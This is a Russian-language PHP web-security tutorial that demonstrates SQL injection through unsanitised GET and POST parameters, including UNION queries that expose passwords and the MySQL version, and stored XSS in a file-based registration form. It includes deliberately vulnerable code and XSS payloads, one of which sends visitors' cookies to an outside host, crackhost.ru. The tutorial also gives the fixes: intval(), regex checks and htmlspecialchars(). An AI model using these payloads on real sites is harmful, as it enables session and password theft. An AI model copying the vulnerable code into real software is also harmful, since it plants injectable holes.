Пусть имеется таблица пользователей userlist, которая содержит пять столбцов:
id_user
—первичный ключ таблицы, обладающий атрибутомAUTO_INCREMENT
;name
—имя пользователя;pass
—его пароль;email
—адрес электронной почты пользователя;url
—адрес домашней страницы пользователя;
Таблица userlist:
Заполним таблицу userlist
Список всех пользователей, включенных в таблицу userlist, выводится при помощи скрипта. Имя каждого из пользователей является гиперссылкой вида <a href = user.php?id_user=1>name</a>
, где 1— первичный ключ записи в таблице userlist
, а name
—имя пользователя.
Список пользователей
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist ORDER BY name";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
while($user=mysql_fetch_array
($usr)){
echo "<a href=user.php?id_user=$user[id_user]>$user[name]</a><br>";
}
?>
Вывод информации обо всех посетителях выполняется на странице user.php.
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=$_GET[id_user]";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array
($usr);echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
Как видно из скрипта, GET-параметр id_user подставляется в SQL-запрос без всякой проверки — это позволяет злоумышленнику осуществлять SQL-инъекцию.
Вместо числа в SQL-запрос
SELECT*FROM userlist WHERE id_user = 1
может быть внедрена произвольная строка. Так, если в строку запроса подставить значение 'какой-то%20текст', то скрипт выдаст сообщение об ошибке.
Примечание. Символ %20 обозначает пробел. Запоминать коды недопустимых символов необязательно, корректную для URL строку всегда можно получить, пропустив текст через функцию urlencode()
.
Попытка вставки вместо числового значения строки:
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user='\какой-то текст\' ";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array
($usr);echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
Воспользовавшись конструкцией UNION
, можно добавить еще один запрос того же формата, что и первый.
Использование конструкции UNION:
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=1
UNION
SELECT*FROM userlist WHERE id_user=2 ";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array
($usr);echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
Результирующая таблица будет содержать записи как первого, так и второго запроса.
Записи, возвращаемые запросом:
Тем не менее, на странице по-прежднему выводится информация о посетителе с первичным ключем 1.
Как видно, результаты выводятся только для самого первого запроса, так как в коде присутствует только один вызов функции mysql_fetch_array()
и, следовательно, все последующие записи игнорируются. Первой задачей злоумышленника является вывод в окно браузера результатов второго запроса из конструкции UNION
, так как первый запрос изменить уже нельзя. Для реализации этой задачи можно воспользоваться двумя способами. Первый из них заключается в формировании такого условия первого запроса, которое заведомо не выполнимо. Для этого переменной id_user
можно присвоить отрицательное значение. Поскольку первичный ключ принимает только положительные значения, можно гарантировать, что первый запрос не вернет ни одной записи.
Подавление вывода первого запроса:
Передача управления второму SELECT-запросу из конструкции UNION:
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=-1
UNION
SELECT*FROM userlist WHERE id_user=2 ";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array
($usr);echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
В результате такой инъекции в действие вступает второй SELECT-запрос из конструкции UNION
, благодаря которому выводится информация о пользователе с первичным ключем 2.
Иногда передать управление второму SELECT-запросу описанным приемом сложно, поэтому прибегают к конструкции ORDER BY
, которая сортирует результаты запросов так, чтобы результаты из инъекционного запроса оказались в начале. В нашем случае можно подвергнуть результаты обратной сортировки по параметру id_user
. Для осуществления такой операции необходимо использовать конструкцию ORDER BY id_user DESC
, которая размещается в конце конструкции UNION
.
Сортировка результатов:
Пока манипуляции записями были достаточно безобидными, однако SQL-инъекции позволяют извлекать произвольные поля формы, в том числе и пароль, вывод которого не предусматривает скрипт из user.php. Для этого злоумышленники расшифровывают символ * во втором запросе.
Расшифровка символа * в инъекционном запросе:
Количество полей во втором запросе должно совпадать с количеством столбцов из первого SELECT-запроса, иначе СУБД отклонит запрос как ошибочный. Столбцы name и pass являются текстовыми, поэтому ничего не мешает нам поменять их местами.
Перемена местами полей name и pass:
Так как имена столбцов формируются по первому запросу, вместо имени пользователя (name) подставляется его пароль (pass).
Вывод пароля пользователя в окно браузера:
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=1
UNION
SELECT id_user, pass, name, email, url FROM userlist WHERE id_user=2
ORDER BY id_user DESC";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array
($usr);echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
Примечание. Конструкция UNION применяется только совместно с SELECT-запросами, поэтому деструктивных действий такая SQL-инъекция не несет, если пароли не предоставляют доступ к панели управления, при помощи которых эти действия можно осуществить.
Помимо просмотра скрытых столбцов, SQL-инъекция могут быть использованы для получения другой разнообразной информации, например, версии MySQL-сервера. Для решения этой задачи можно воспользоваться тем фактом, что в списке столбцов могут находиться внутренние функции MySQL. Поэтому для достижения цели достаточно модернизировать инъекционный запрос таким образом, чтобы вместо поля name стоял вызов функции VERSION()
.
Определяем версию сервера MySQL:
Определение версии MySQL-сервера:
<?php
//Устанавливаем соединение с базой данных
require_once("config.php");
//Запрaшиваем список всех пользователей
$query="SELECT*FROM userlist WHERE id_user=1
UNION
SELECT id_user, VERSION(), pass, email, url FROM userlist WHERE id_user=2
ORDER BY id_user DESC";
$usr=mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user=mysql_fetch_array
($usr);echo "Имя пользователя - $user[name]<br>";
if(!empty($user['email'])) echo "E-mail -$user[email]<br>";
if(!empty($user['url'])) echo "URL -$user[url]<br>";
?>
Для того, чтобы избежать взлома по SQL-инъекции, следует проверять числовые параметры, при помощи регулярных выражений или осуществлять явное приведение типа при помощи конструкции intval()
. SQL-инъекция может осуществляться не только по числовому полю, но и по текстовому.
Поиск пользователя по имени:
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>Поиск пользователя по имени</title>
</head>
<body>
<table width="200" border="1" >
<form action="" method="post">
<tr>
<td> Имя</td>
<td> <input name="name" type="text" value="<?=$_POST['name'] ?>" size="30"></td>
</tr>
<tr>
<td> </td>
<td> <input name="" type="submit" value="Искать"></td>
</tr>
</form>
</table>
<?php
if(!empty($_POST))
{
//Устанавливаем соединение с базой данных
require_once("../../config/config.php");
//Производим поиск пользователя с именем $_POST['name']
$query="SELECT*FROM userlist
WHERE name
LIKE '$_POST[name]%'
ORDER BY name";
$usr=mysql_query($query);
if(!$usr) exit ("Ошибка -".mysql_error());
while($user=mysql_fetch_array
($usr)){
echo "Имя пользователя - $user[name]<br>";
}
}
?>
</body>
</html>
В окне веб-браузера это будет выглядеть ТАК.
В текстовой области в HTML-формы достаточно ввести часть имени, чтобы вывести список всех похожих имен. Если в качестве имени указывается пустая строка, то извлекаются имена всех зарегистрированных пользователей.
XSS-инъекции
XSS-инъекции или межсайтовый скриптинг — это атака, которая позволяет злоумышленнику вставлять в HTML-код сайта вставки вредоносного HTML-кода, как правило, скрипты JavaScript.
Примечание. XSS расшифровывается как Cross-Site-Scripting, однако аббревиатура CSS не используется, чтобы не путать это сокращение с каскадными таблицами стилей — Cascading Style Sheets.
Для демонстрации уязвимости данного типа разработаем простейшую систему регистрации пользователей, информация о которых будет помещаться в текстовой файл text.txt следующего формата:
имя пользователя :: пароль :: e-mail :: url
Имя пользователя, его пароль, адрес электронной почты (e-mail) и адрес домашней страницы разделяются последовательностью ::.
Файл text.txt
igor::1234::[email protected]::http://www.stroy.ru
cheops::dwfrt::[email protected]::http://www.stroy.ru
wet::gordon:: ::
Для регистрации нам понадобится HTML-форма, состоящая из трех текстовых полей (имя, e-mail, и URL), двух полей типа password для пароля и его подтверждения и кнопка, позволяющая отправить данные обработчику.
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>Регистрация пользователей</title>
</head>
<body>
<table width="200" border="0" cellpadding="0">
<form action="" method="post">
<tr>
<td> Имя:</td>
<td><input name="name" type="text" size="30"></td>
</tr>
<tr>
<td> Пароль:</td>
<td><input name="pass" type="password" size="30"></td>
</tr>
<tr>
<td> Пароль:</td>
<td><input name="pass_again" type="password" size="30"></td>
</tr>
<tr>
<td> E-mail:</td>
<td><input name="email" type="text" size="30"></td>
</tr>
<tr>
<td> URL:</td>
<td><input name="url" type="text" size="30"></td>
</tr>
<tr>
<td> </td>
<td><input value="Зарегистрировать" type="submit"></td>
</tr>
</form>
</table>
<?php
//Обработчик HTML-формы
///////////////////////////////////////////////////////////
//1. Блок проверки правильности ввода данных
//////////////////////////////////////////////////////////
//Удаляем лишние пробелы
$_POST['name']=trim($_POST['name']);
$_POST['pass']=trim($_POST['pass']);
$_POST['pass_again']=trim($_POST['pass_again']);
//Проверяем не пустой ли суперглобальный массив $_POST
if(empty($_POST['name'])) exit();
//Проверяем, правильно ли заполнены обязательные поля
if(empty($_POST['name']))exit('Поле "Имя" не заполнено');
if(empty($_POST['pass']))exit('Одно из полей "Пароль" не заполнено');
if(empty($_POST['pass_again']))exit('Одно из полей "Пароль" не заполнено');
if($_POST['pass']!=$_POST['pass_again']) exit("Пароли не совпадают");
//Если введен E-mail, проверяем его на корректность
if(!empty($_POST['email']))
{
if(!preg_match("|^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,6}$|i", $_POST['email']))
{
exit('Поле "E-mail" должно соответствовать формату [email protected]');
}
}
//////////////////////////////////////////////////////////////////////
//2. Блок проверки имени на уникальность
/////////////////////////////////////////////////////////////////////
//Имя файла данных
$filename= "text.txt";
//Проверяем, не было ли переданное имя зарегистрировано ранее
$arr=file($filename);
foreach($arr as $line)
{
//Разбиваем строку по разделителю ::
$data=explode("::", $line);
//В массив $temp помещаем имена уже зарегистрированных посетителей
$temp[]=$data[0];
}
//Проверяем, не содержит ли текущее имя в массиве имен $temp
if(!in_array
($_POST['name'], $temp)){
exit("Данное имя уже зарегистрировани, пожалуйста выберите другое");
}
///////////////////////////////////////////////////////////////////////
//3. Блок регистрации пользователя
//////////////////////////////////////////////////////////////////////
//Помещаем данные в текстовой файл
$fd=fopen($filename, "a");
if(!$fd) exit("Ошибка при открытии файла данных");
$str=$_POST['name']."::".
$_POST['pass']."::".
$_POST['email']."::".
$_POST['url']. "\r\n";
fwrite($fd, $str);
fclose($fd);
//Осуществляем перезагрузку страницы,
//чтобы сбросить POST-данные
echo "<html><head>
<META HTTP-EQUIV='Refresh' CONTENT='0; URL=$_SERVER[PHP_SELF]'>
</head></html>";
?>
</body>
</html>
Как видно из скрипта, обработчик состоит из трех блоков:
- блок проверки правильности ввода данных;
- блок проверки имени на уникальность;
- блок регистрации пользователя.
Первый блок проверяет правильность заполнения HTML-формы; заполнены ли обязательные поля (имя, пароль); равны ли друг другу введенные пароли; если введен E-mail, нет ли ошибки в его синтаксисе.
Второй блок открывает файл данных text.txt и читает из него имена уже зарегистрированных пользователей. Если имя, которое ввел пользователь, совпадает с одним из зарегистрированных имен, то работа скрипта прерывается, а пользователю предлагается выбрать какое-то другое имя.
Последний блок формирует строку в формате файла text.txt и дописывает ее в файл. После этого осуществляется перезагрезка скрипта для обнуления POST-данных. Если перезагрузку не произвести, то обновление страницы пользователем приведет к повторной попытке поместить данные в text.txt.
Вывод списка пользователей:
<?php
// Имя файла данных
$filename = "text.txt";
// Проверяем, не было ли переданное имя
// зарегистрировано ранее
$arr = file($filename);
foreach($arr as $line)
{
// Разбиваем строку по разделителю ::
$data = explode("::",$line);
// Если файл сформирован в Windows,
// последний элемент будет содержать
// на конце символ \r - избавляемся от него
$data[3] = trim($data[3]);
// Если выбран текущий пользователь,
// сохраняем данные
if($_GET['name'] == $data[0])
{
$name = $data[0];
$email = $data[2];
$url = $data[3];
}
// Формируем список посетителей
echo "<a href=$_SERVER[PHP_SELF]?name=$data[0]>".
htmlspecialchars($data[0])."</a><br>";
}
if(isset($_GET['name']))
{
// В массив $temp помещаем имена уже зарегистрированных
// посетителей
echo "Имя - ".htmlspecialchars($name)."<br>";
if(!empty($email)) echo "e-mail - ".htmlspecialchars($email)."<br>";
if(!empty($url)) echo "URL - ".htmlspecialchars($url)."<br>";
echo "<br>";
}
?>
После применения к строке файла text.txt функции explode()
получаем массив $data
, состоящий из четырех элементов, первый элемент которого $data[0]
содержит имя, второй $data[1]
— пароль, третий $data[2]
— адрес электронной почты (E-mail), а четвертый $data[3]
— адрес домашней странички (URL). Перевод строк в файле text.txt осуществляется в формате операционной системы Windows при помощи последовательности \r\n
. В тоже время функция explode()
, разбивающая строку на подстроки, ориентируется на переводы строк в формате UNIX, где для этого используется лишь один символ \n. Поэтому последний элемент всегда содержит невидимый символ \r
, избавиться от которого можно, пропустив через функцию trim()
, которая удаляет начальные и конечные пробельные символы.
Уязвимая строка:
<?php
. . .
echo "<a href=$_SERVER[PHP_SELF]?name=$data[0]>".
htmlspecialchars($data[0])."</a><br>";
. . .
?>
Имя ссылки подвергается обработке функцией htmlspecialchars()
, а параметр name
— нет. Если вместо него теперь подставить выражение
new_user><script>alert('Hello world!')</script
это позволит выполнить скрипт JavaScript, выводящий надпись Hello wold!. Для этого достаточно зарегистрировть пользователя с таким именем.
В результате каждому посетителю, просматривающему список пользователей, будет выводиться диалоговое окно с надписью Hello wold!.
Однако работа, выполняемая XSS-скриптом, может быть гораздо более опастной, например, посетители могут пренаправляться на другой сайт. Для этого достаточно использовать XSS-инъекцию вида:
new_user><script>location.href = 'http://www.crackhost.ru';</script
Более того, можно похищать cookie и пароли в них, если перенаправлять их в GET-параметре (на сайте www.crackhost.ru должен быть подготовлен файл index.php для сбора и сохранения параметра cookie в файл или базу данных).
new_user><script>location.href='http://www.crackhost.ru/index.php?cookie='+escape(document.cookie)';</script
Для защиты от уязвимости такого рода необходимо подвергать обработке функцией htmlspecialchars(
) любые данные, которые поступают с компьютера клиента и выводятся в окно браузера.
Комментарии(0)
Для добавления комментариев надо войти в систему и авторизоватьсяКомментирование статей доступно только для зарегистрированных пользователей:Зарегистрироваться